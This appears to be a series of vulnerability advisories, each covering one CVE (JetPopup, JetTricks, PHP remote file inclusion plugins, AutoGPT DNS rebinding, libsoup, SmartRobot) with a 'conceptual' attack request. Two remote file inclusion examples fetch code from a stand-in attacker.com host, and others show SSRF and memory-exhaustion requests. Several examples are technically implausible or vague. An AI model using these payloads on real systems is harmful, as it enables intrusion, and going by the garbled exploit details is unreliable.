Author: Ameeba

Overview

A significant cybersecurity vulnerability has been detected in JetPopup, a popular plugin used in web development. This issue, identified as CVE-2025-26944, is a Missing Authorization vulnerability, which allows unauthorized access to restricted functionalities. This vulnerability is of particular concern for developers and organizations using the JetPopup plugin, as it opens up a potential attack vector for malicious actors, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-26944
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

JetPopup | n/a to 2.0.11

How the Exploit Works

The CVE-2025-26944 vulnerability stems from a lack of sufficient authorization measures in JetPopup. This allows attackers to bypass Access Control Lists (ACLs) and gain unauthorized access to restricted functionalities. By exploiting this vulnerability, an attacker could potentially compromise the system or leak sensitive data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /jetpopup/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "unauthorized_access": "bypass_ACLs" }

In the example above, the attacker sends a POST request to the JetPopup endpoint, with the payload specifically crafted to bypass the ACLs, thereby gaining unauthorized access to restricted functionalities.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it is available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could provide temporary mitigation against potential attacks exploiting this vulnerability. Careful monitoring of system logs and network traffic is also recommended for early detection of any suspicious activities.

Overview

This report addresses the critical cybersecurity vulnerability CVE-2025-26942, a Missing Authorization flaw in NotFound JetTricks. This vulnerability affects various versions of JetTricks, a widely used software, and poses a significant risk due to its potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-26942
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage can occur if successfully exploited

Affected Products

Product | Affected Versions

NotFound JetTricks | n/a through 1.5.1

How the Exploit Works

The Missing Authorization vulnerability in NotFound JetTricks allows unauthorized users to access functionality that should be constrained by Access Control Lists (ACLs). An attacker can exploit this vulnerability by sending specially crafted network requests to the affected software, bypassing the ACLs, and potentially gaining unauthorized access to sensitive data or system resources.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit the vulnerability:

POST /unauthorized/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "bypass_acl: true" }

In this example, the attacker sends a POST request to a restricted endpoint, including a payload that instructs the system to bypass the ACL. This conceptual example is simplified for illustrative purposes and the actual exploit may require more complex techniques.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help temporarily mitigate the vulnerability by detecting attempts to exploit it and blocking malicious traffic.

Overview

The CVE-2025-26894 vulnerability pertains to NotFound Coming Soon, Maintenance Mode Plugin implemented in PHP. This vulnerability lies in its improper control of filename for Include/Require Statement, also known as ‘PHP Remote File Inclusion’. This issue can potentially lead to system compromise or data leakage, thus posing significant risk to the organizations that are using versions through 1.1.1.

Vulnerability Summary

CVE ID: CVE-2025-26894
Severity: High (CVSS score 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

NotFound Coming Soon, Maintenance Mode | 1.1.1 and lower versions

How the Exploit Works

The vulnerability CVE-2025-26894 stems from the improper control of filename for include/require statement in PHP program. This allows an attacker to include a file from a remote server that can be executed in the context of the web server. The attacker can include malicious code to compromise the system or exfiltrate data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker includes a malicious file from their server which gets executed on the target server when the page is loaded.

Mitigation

The users of NotFound Coming Soon, Maintenance Mode are advised to immediately apply the vendor patch, if available. If a vendor patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It is also recommended to disable the allow_url_include and allow_url_fopen settings in the PHP configuration.

Overview

A critical vulnerability identified as CVE-2025-26889 has been detected in NotFound hockeydata LOS that can potentially compromise the system or lead to data leakage. This security flaw is due to improper control of the filename for Include/Require Statement in PHP Program, commonly known as PHP Remote File Inclusion. It poses a significant threat to any organization using versions through 1.2.4 of NotFound hockeydata LOS.

Vulnerability Summary

CVE ID: CVE-2025-26889
Severity: High Risk (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

NotFound HockeyData LOS | up to and including 1.2.4

How the Exploit Works

The exploit takes advantage of the lack of proper control of filenames in Include/Require statements in PHP programs within NotFound hockeydata LOS. An attacker can craft a specific URL or form data to include a remote file. This file can then be executed as part of the PHP application, potentially allowing unauthorized system access or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:

GET /vulnerable/endpoint?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In the above example, the attacker is attempting to include ‘malicious_file.php’ from ‘attacker.com’ into the current script’s execution.

Mitigation

Users are advised to apply the vendor patch as soon as it becomes available. As a temporary mitigation, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be beneficial in detecting and blocking attempts to exploit this vulnerability.

Overview

This report pertains to a critical vulnerability, CVE-2025-31490, discovered in the AutoGPT platform, a popular tool used for creating, deploying, and managing AI agents. This vulnerability, stemming from DNS Rebinding in the requests wrapper, could lead to potential system compromise or data leakage. Its significance lies in the fact that it affects a broad range of users and could lead to serious security breaches if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-31490
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

AutoGPT | Prior to 0.6.1

How the Exploit Works

The vulnerability arises due to the inadequate validation of the requested hostname of a URL in AutoGPT’s wrapper around Python’s requests library. Although the platform attempts to validate the hostname to ensure it does not resolve to any local IPv4 or IPv6 addresses, it fails to account for the possibility of a DNS server initially responding with a non-blocked address with a TTL of 0. This could lead to a DNS rebinding attack, where the initial resolution appears as a non-blocked address, only to resolve to an invalid range upon re-resolution in the subsequent request() function.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /autogpt_platform/backend/backend/util/request.py HTTP/1.1
Host: vulnerable.example.com
DNS: malicious.example.com; TTL=0
{ "url": "http://localhost" }

In this example, the `GET` request is made to the vulnerable endpoint with a malicious DNS that initially resolves to a non-blocked address (due to TTL=0) but later resolves to a local address, thereby bypassing the initial URL validation and leading to an SSRF attack.

Overview

The CVE-2025-32913 vulnerability is a significant flaw found in libsoup, a widely-used HTTP client and server library for GNOME. This vulnerability can be exploited by a malicious HTTP peer to crash a libsoup client or server, thereby compromising system integrity or potentially leading to data leakage. In today’s digital environment where data security is paramount, such a vulnerability poses a significant risk to any organization that fails to address it promptly.

Vulnerability Summary

CVE ID: CVE-2025-32913
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

libsoup | All versions before the patch

How the Exploit Works

The exploit targets the soup_message_headers_get_content_disposition() function within libsoup. Specifically, this function is vulnerable to a NULL pointer dereference. A malicious HTTP peer can send specially crafted HTTP requests to the client or server, causing the function to dereference a NULL pointer and crash the application.

Conceptual Example Code

Here’s a conceptual example of how a malicious HTTP request might be used to exploit this vulnerability:

GET / HTTP/1.1
Host: target.example.com
Content-Disposition: ; filename="NULL"
...payload...

This example is conceptual and may not represent an actual exploit. It serves to illustrate the potential risk involved.

Mitigation Guidance

Users are advised to apply the latest vendor patch for libsoup that addresses this vulnerability. Should this not be immediately possible, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigations.

Overview

This report discusses a significant flaw in libsoup, a widely used HTTP client/server library for GNOME. The vulnerability, identified as CVE-2025-32908, primarily affects the HTTP/2 server component of the library and, if exploited, could result in a denial of service (DoS) attack or potential system compromise. The widespread use of libsoup in various applications makes this vulnerability highly critical and demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-32908
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

libsoup | All versions prior to the latest patch

How the Exploit Works

The vulnerability stems from the HTTP/2 server’s incomplete validation of the pseudo-headers :scheme, :authority, and :path. This lack of validation allows an attacker to send a maliciously crafted request that the server fails to handle correctly, resulting in a denial of service. In some cases, this could also lead to system compromise and data leakage.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a request similar to this:

POST / HTTP/2
Host: target.example.com
:scheme: http
:authority: target.example.com
:path: /malicious/path
Content-Type: application/json
{ "malicious_payload": "..." }

In the above example, the `:path` pseudo-header has been manipulated with a malicious path, which the server fails to validate correctly, causing an error and potential denial of service. The actual malicious payload would depend on the specific context and target.

Overview

The vulnerability CVE-2025-32907 exposes a critical flaw in the libsoup library, which is widely used for HTTP client/server functionality in Gnome applications. This defect allows a malicious client to exploit the HTTP range requests handling, causing resource exhaustion and potentially leading to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-32907
Severity: High – CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

libsoup | All versions before the patched update

How the Exploit Works

The exploit takes advantage of the flaw in libsoup’s implementation of HTTP range requests. A malicious client can manipulate these requests to repeatedly ask for the same range in a single HTTP request. This causes the server to consume excessive memory, leading to a potential denial of service or even a system compromise if the server’s resources are sufficiently taxed.

Conceptual Example Code

The conceptual example below demonstrates how a malicious client could structure an HTTP request to exploit this vulnerability:

GET /resource HTTP/1.1
Host: vulnerable-server.com
Range: bytes=0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50,0-50

In this example, the client is requesting the same byte range (“0-50”) multiple times in a single request. This would cause the server to use a disproportionately large amount of memory to handle this request, leading to resource exhaustion.

Mitigation

The preferred mitigation for this vulnerability is to apply the vendor’s patch to correct the flaw in the libsoup library. If the patch cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to block malformed range requests can serve as a temporary mitigation strategy.

Overview

CVE-2025-32906 is a critical vulnerability discovered in libsoup, a widely-used HTTP client/server library in C. If exploited, this flaw could allow a malicious actor to crash the HTTP server, potentially leading to a system compromise or data leakage. Given the severity of this flaw, it is crucial for affected systems to mitigate the risk as quickly as possible.

Vulnerability Summary

CVE ID: CVE-2025-32906
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise, data leakage

Affected Products

Product | Affected Versions

libsoup | All versions prior to patch

How the Exploit Works

The vulnerability lies in the soup_headers_parse_request() function within the libsoup library. A malicious user could send a specially crafted HTTP request to trigger an out-of-bound read, causing the HTTP server to crash. This crash could potentially allow further exploitation, leading to system compromise and data leakage.

Conceptual Example Code

Below is a conceptual example of a malicious HTTP request that could exploit this vulnerability:

GET / HTTP/1.1
Host: target.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache

In this example, specific combinations of headers or values may trigger the out-of-bound read, leading to a server crash.

Mitigation Guidance

Users of libsoup are strongly recommended to apply the vendor patch as soon as possible. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation to filter out malicious HTTP requests.

Overview

CVE-2025-3572 is a significant server-side request forgery vulnerability discovered in INTUMIT’s SmartRobot. It poses a direct threat to the security of network systems using this product, allowing remote unauthenticated attackers the potential to probe internal networks and access local files on the server. This vulnerability is of particular concern due to its potential for data leakage or even full system compromise.

Vulnerability Summary

CVE ID: CVE-2025-3572
Severity: High (7.5 CVSS score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthenticated remote attackers can probe internal networks and access local files on the server, possibly leading to system compromise and data leakage.

Affected Products

Product | Affected Versions

SmartRobot | All versions prior to the patch

How the Exploit Works

The exploit takes advantage of a server-side request forgery (SSRF) vulnerability in SmartRobot. The attacker sends a maliciously crafted request to the server running SmartRobot. This server, failing to properly validate or sanitize the request, ends up executing it. This execution can lead to unauthorized actions such as probing the internal network or accessing local files on the server.

Conceptual Example Code

This is a conceptual example of how an attacker might exploit the vulnerability:

GET /api/request?target=http://localhost:8080/admin HTTP/1.1
Host: vulnerable.smartrobot.com

In the above example, the attacker is able to access the local ‘admin’ directory of the server by crafting a GET request to the SmartRobot server. The server ends up executing the request, giving the attacker unauthorized access.